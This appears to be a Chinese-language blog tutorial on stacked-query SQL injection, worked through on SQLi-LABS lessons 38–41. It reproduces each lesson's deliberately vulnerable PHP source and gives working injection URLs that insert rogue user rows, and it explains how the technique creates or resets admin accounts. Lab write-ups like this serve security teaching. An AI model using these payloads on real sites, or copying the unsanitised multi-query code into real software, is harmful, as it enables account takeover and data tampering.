web漏洞-SQL注入漏洞扩展(堆叠查询注入)-SQLi LABS 38关到41关讲解

冷不防 2023-09-23 22:44 17阅读 0赞

# 一、概念 #

堆叠注入(stacked injections)从名词的含义就可以看出应该是一堆sql语句（多条）一起执行。

而在真实的运用中也是这样的，我们知道在mysql 中，主要是命令行中，每一条语句结尾加;表示语句结束，这样我们就想到了是不是可以多条sql语句一起使用。

而 联合注入（union injection）也是将两条语句合并在一起，两者之间有什么区别么? 区别就在于 union或者 union all 执行的语句类型是有限的，可以用来执行查询语句，而堆叠注入可以执行的是任意的语句。

# 二、局限性 #

堆叠注入的局限性在于并不是每一个环境下都可以执行，可能受到 API 或者数据库引警不支持的限制，当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。

![b9bfd6ba4f394ff7a1199215b0ff9a1e.png][]

# 三、mysql数据库命令行内举例 #

相当于当注入内容为“1;select * from emails;”时：
    mysql>  select * from users where id = 1;select * from emails;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  1 | Dumb     | Dumb     |
    +----+----------+----------+
    1 row in set (0.00 sec)
    
    +----+------------------------+
    | id | email_id               |
    +----+------------------------+
    |  1 | Dumb@dhakkan.com       |
    |  2 | Angel@iloveu.com       |
    |  3 | Dummy@dhakkan.local    |
    |  4 | secure@dhakkan.local   |
    |  5 | stupid@dhakkan.local   |
    |  6 | superman@dhakkan.local |
    |  7 | batman@dhakkan.local   |
    |  8 | admin@dhakkan.com      |
    +----+------------------------+
    8 rows in set (0.00 sec)

# 四、用处 #

比如在注入时，需要得到管理员的账号和密码，但是这个密码是加密的，且无法解密，此时便可以利用堆叠注入向管理员用户的表内进行插入用户数据，创建用户来登录迂回的注入数据库，但是前提是网站的管理员必须是高权限才能完全创建用户。因为是插入的数据，所以新插入的管理员用户的密码是自定义的，将用户数据插入之后，就可以实施登录了，此时便可以忽略密码无法解密的问题。也可以使用update更新管理员用户密码。

# 五、实例 #

## **<SQLi-LABS-Less38>** ##

![f1709b3057044e8486fca495aef814c7.png][]

### 1.靶场原码 ###

<?php
 error_reporting(0);
 include("../sql-connections/db-creds.inc");
 ?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Less-38 **stacked Query**</title>
 </head>
 
 <body bgcolor="#000000">
 <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome    Dhakkan 
 
 
 
 <?php
 
 
 
 
 // take the variables 
 if(isset($_GET['id']))
 {
 $id=$_GET['id'];
 //logging the connection parameters to a file for analysis.
 $fp=fopen('result.txt','a');
 fwrite($fp,'ID:'.$id."\n");
 fclose($fp);
 
 // connectivity
 //mysql connections for stacked query examples.
 $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
 // Check connection
 if (mysqli_connect_errno($con1))
 {
 echo "Failed to connect to MySQL: " . mysqli_connect_error();
 }
 else
 {
 @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
 }
 
 
 
 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
 /* execute multi query */
 if (mysqli_multi_query($con1, $sql))
 {
 
 
 /* store first result set */
 if ($result = mysqli_store_result($con1))
 {
 if($row = mysqli_fetch_row($result))
 {
 echo ''; 
 printf("Your Username is : %s", $row[1]);
 echo " ";
 printf("Your Password is : %s", $row[2]);
 echo " ";
 echo "";
 }
 // mysqli_free_result($result);
 }
 /* print divider */
 if (mysqli_more_results($con1))
 {
 //printf("-----------------\n");
 }
 //while (mysqli_next_result($con1));
 }
 else 
 {
 echo '';
 print_r(mysqli_error($con1));
 echo ""; 
 }
 /* close connection */
 mysqli_close($con1);
 
 
 }
 else { echo "Please input the ID as parameter with numeric value";}
 
 ?>
 </div><center>
 <img src="../images/Less-38.jpg" /></center>
 </body>
 </html>

### 2.SQL语句 ###

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

### 3.修改靶场网页原码，使得执行的SQL语句在网页中展示，方便观察。 ###

在原码中添加“echo $sql." ";”（返回执行的SQL语句并换行）。

![1f1c88dada1d4acfb5952e1b7729c988.png][]

### 4.首先在数据库命令提示符里查看所有用户信息。 ###

### 5.在网页内进行注入操作 ###

localhost/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values (100,'less38', 'hello')--+

![636897c6b82644c79475467e37e3d35a.png][]

### 6.再次在数据库命令提示符里查看所有用户信息。 ###

可以看到，数据库内较上一次查询多了一条用户信息。

--------------------

## **<SQLi-LABS-Less39>** ##

通过观察网页原码可知，此关与Less38的区别是注入类型不同，Less38是字符型注入，而此关是数字型注入。

![ca754fc683ef4b10a18c7c163370e967.png][]

### 1.靶场原码 ###

<?php
 error_reporting(0);
 include("../sql-connections/db-creds.inc");
 ?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Less-39 **stacked Query Intiger type**</title>
 </head>
 
 <body bgcolor="#000000">
 <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome    Dhakkan 
 
 
 
 <?php
 
 
 
 
 // take the variables 
 if(isset($_GET['id']))
 {
 $id=$_GET['id'];
 //logging the connection parameters to a file for analysis.
 $fp=fopen('result.txt','a');
 fwrite($fp,'ID:'.$id."\n");
 fclose($fp);
 
 // connectivity
 //mysql connections for stacked query examples.
 $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
 // Check connection
 if (mysqli_connect_errno($con1))
 {
 echo "Failed to connect to MySQL: " . mysqli_connect_error();
 }
 else
 {
 @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
 }
 
 
 
 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
 /* execute multi query */
 if (mysqli_multi_query($con1, $sql))
 {
 
 
 /* store first result set */
 if ($result = mysqli_store_result($con1))
 {
 if($row = mysqli_fetch_row($result))
 {
 echo ''; 
 printf("Your Username is : %s", $row[1]);
 echo " ";
 printf("Your Password is : %s", $row[2]);
 echo " ";
 echo "";
 }
 // mysqli_free_result($result);
 }
 /* print divider */
 if (mysqli_more_results($con1))
 {
 //printf("-----------------\n");
 }
 //while (mysqli_next_result($con1));
 }
 else 
 {
 echo '';
 print_r(mysqli_error($con1));
 echo ""; 
 }
 /* close connection */
 mysqli_close($con1);
 
 }
 else { echo "Please input the ID as parameter with numeric value";}
 
 ?>
 </div><center>
 <img src="../images/Less-39.jpg" /></center>
 </body>
 </html>

### 2.SQL语句 ###

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

### 3.修改靶场网页原码，使得执行的SQL语句在网页中展示，方便观察。 ###

在原码中添加“echo $sql." ";”（返回执行的SQL语句并换行）。

![3a169c4cd9f049beb4a3576140867261.png][]

### 4.首先在数据库命令提示符里查看所有用户信息。 ###

### 5.在网页内进行注入操作 ###

http://localhost/sqli-labs/Less-39/?id=1;insert%20into%20users(id,username,password)%20%20values%20(%27101%27,%27less39%27,%27hello%27)--+

![663772cf425042e4bf1f454abb15e09f.png][]

### 6.再次在数据库命令提示符里查看所有用户信息。 ###

可以看到，数据库内较上一次查询多了一条用户信息。

--------------------

## **<SQLi-LABS-Less40>** ##

![f92b7ba7636542cca8417611dbe5ec18.png][]

### 1.靶场原码 ###

<?php
 error_reporting(0);
 include("../sql-connections/db-creds.inc");
 ?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Less-40 **stacked Query String type Blind**</title>
 </head>
 
 <body bgcolor="#000000">
 <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome    Dhakkan 
 
 
 
 <?php
 
 
 
 
 // take the variables 
 if(isset($_GET['id']))
 {
 $id=$_GET['id'];
 //logging the connection parameters to a file for analysis.
 $fp=fopen('result.txt','a');
 fwrite($fp,'ID:'.$id."\n");
 fclose($fp);
 
 // connectivity
 //mysql connections for stacked query examples.
 $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
 // Check connection
 if (mysqli_connect_errno($con1))
 {
 echo "Failed to connect to MySQL: " . mysqli_connect_error();
 }
 else
 {
 @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
 }
 
 
 
 $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
 /* execute multi query */
 if (mysqli_multi_query($con1, $sql))
 {
 
 
 /* store first result set */
 if ($result = mysqli_store_result($con1))
 {
 if($row = mysqli_fetch_row($result))
 {
 echo ''; 
 printf("Your Username is : %s", $row[1]);
 echo " ";
 printf("Your Password is : %s", $row[2]);
 echo " ";
 echo "";
 }
 // mysqli_free_result($result);
 }
 /* print divider */
 if (mysqli_more_results($con1))
 {
 //printf("-----------------\n");
 }
 //while (mysqli_next_result($con1));
 }
 
 
 /* close connection */
 mysqli_close($con1);
 
 
 }
 else { echo "Please input the ID as parameter with numeric value";}
 
 ?>
 </div><center>
 <img src="../images/Less-40.jpg" /></center>
 </body>
 </html>

### 2.SQL语句 ###

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

### 3.修改靶场网页原码，使得执行的SQL语句在网页中展示，方便观察。 ###

在原码中添加“echo $sql." ";”（返回执行的SQL语句并换行）。

![48481143924a49c991d920f06f40e55b.png][]

### 4.首先在数据库命令提示符里查看所有用户信息。 ###

### 5.在网页内进行注入操作 ###

http://localhost/sqli-labs/Less-40/?id=1%27);%20insert%20into%20users(id,username,%20password)%20values%20(%27102%27,%27less40%27,%27hello%27)--+

![72191dd3ef42481abb8b032dc2b510dc.png][]

### 6.再次在数据库命令提示符里查看所有用户信息。 ###

可以看到，数据库内较上一次查询多了一条用户信息。

## **<SQLi-LABS-Less41>** ##

此关与Less39的区别在于 Less41 错误不回显，即盲注。

![307fc12d69b142ee9464b9afcb3e73b2.png][]

### 1.靶场原码 ###

<?php
 error_reporting(0);
 include("../sql-connections/db-creds.inc");
 ?>
 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>Less-41 **stacked Query Intiger type blind**</title>
 </head>
 
 <body bgcolor="#000000">
 <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome    Dhakkan 
 
 
 
 <?php
 
 
 
 
 // take the variables 
 if(isset($_GET['id']))
 {
 $id=$_GET['id'];
 //logging the connection parameters to a file for analysis.
 $fp=fopen('result.txt','a');
 fwrite($fp,'ID:'.$id."\n");
 fclose($fp);
 
 // connectivity
 //mysql connections for stacked query examples.
 $con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
 // Check connection
 if (mysqli_connect_errno($con1))
 {
 echo "Failed to connect to MySQL: " . mysqli_connect_error();
 }
 else
 {
 @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
 }
 
 
 
 $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
 /* execute multi query */
 if (mysqli_multi_query($con1, $sql))
 {
 
 
 /* store first result set */
 if ($result = mysqli_store_result($con1))
 {
 if($row = mysqli_fetch_row($result))
 {
 echo ''; 
 printf("Your Username is : %s", $row[1]);
 echo " ";
 printf("Your Password is : %s", $row[2]);
 echo " ";
 echo "";
 }
 // mysqli_free_result($result);
 }
 /* print divider */
 if (mysqli_more_results($con1))
 {
 //printf("-----------------\n");
 }
 //while (mysqli_next_result($con1));
 }
 
 
 /* close connection */
 mysqli_close($con1);
 
 
 }
 else { echo "Please input the ID as parameter with numeric value";}
 
 ?>
 </div><center>
 <img src="../images/Less-41.jpg" /></center>
 </body>
 </html>

### 2.SQL语句 ###

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

### 3.修改靶场网页原码，使得执行的SQL语句在网页中展示，方便观察。 ###

在原码中添加“echo $sql." ";”（返回执行的SQL语句并换行）。

![c474d8f870f54477b0723f33d878f1dd.png][]

### 4.首先在数据库命令提示符里查看所有用户信息。 ###

### 5.在网页内进行注入操作 ###

http://localhost/sqli-labs/Less-41/?id=1;%20insert%20into%20users(id,username,password)%20values%20(%27104%27,%27less41%27,%27hello%27)--+

![693b1a378caf4fef842f694317773de2.png][]

### 6.再次在数据库命令提示符里查看所有用户信息。 ###

可以看到，数据库内较上一次查询多了一条用户信息。

[b9bfd6ba4f394ff7a1199215b0ff9a1e.png]: https://img-blog.csdnimg.cn/img_convert/b9bfd6ba4f394ff7a1199215b0ff9a1e.png
[f1709b3057044e8486fca495aef814c7.png]: https://img-blog.csdnimg.cn/img_convert/f1709b3057044e8486fca495aef814c7.png
[1f1c88dada1d4acfb5952e1b7729c988.png]: https://img-blog.csdnimg.cn/img_convert/1f1c88dada1d4acfb5952e1b7729c988.png
[636897c6b82644c79475467e37e3d35a.png]: https://img-blog.csdnimg.cn/img_convert/636897c6b82644c79475467e37e3d35a.png
[ca754fc683ef4b10a18c7c163370e967.png]: https://img-blog.csdnimg.cn/img_convert/ca754fc683ef4b10a18c7c163370e967.png
[3a169c4cd9f049beb4a3576140867261.png]: https://img-blog.csdnimg.cn/img_convert/3a169c4cd9f049beb4a3576140867261.png
[663772cf425042e4bf1f454abb15e09f.png]: https://img-blog.csdnimg.cn/img_convert/663772cf425042e4bf1f454abb15e09f.png
[f92b7ba7636542cca8417611dbe5ec18.png]: https://img-blog.csdnimg.cn/img_convert/f92b7ba7636542cca8417611dbe5ec18.png
[48481143924a49c991d920f06f40e55b.png]: https://img-blog.csdnimg.cn/img_convert/48481143924a49c991d920f06f40e55b.png
[72191dd3ef42481abb8b032dc2b510dc.png]: https://img-blog.csdnimg.cn/img_convert/72191dd3ef42481abb8b032dc2b510dc.png
[307fc12d69b142ee9464b9afcb3e73b2.png]: https://img-blog.csdnimg.cn/img_convert/307fc12d69b142ee9464b9afcb3e73b2.png
[c474d8f870f54477b0723f33d878f1dd.png]: https://img-blog.csdnimg.cn/img_convert/c474d8f870f54477b0723f33d878f1dd.png
[693b1a378caf4fef842f694317773de2.png]: https://img-blog.csdnimg.cn/img_convert/693b1a378caf4fef842f694317773de2.png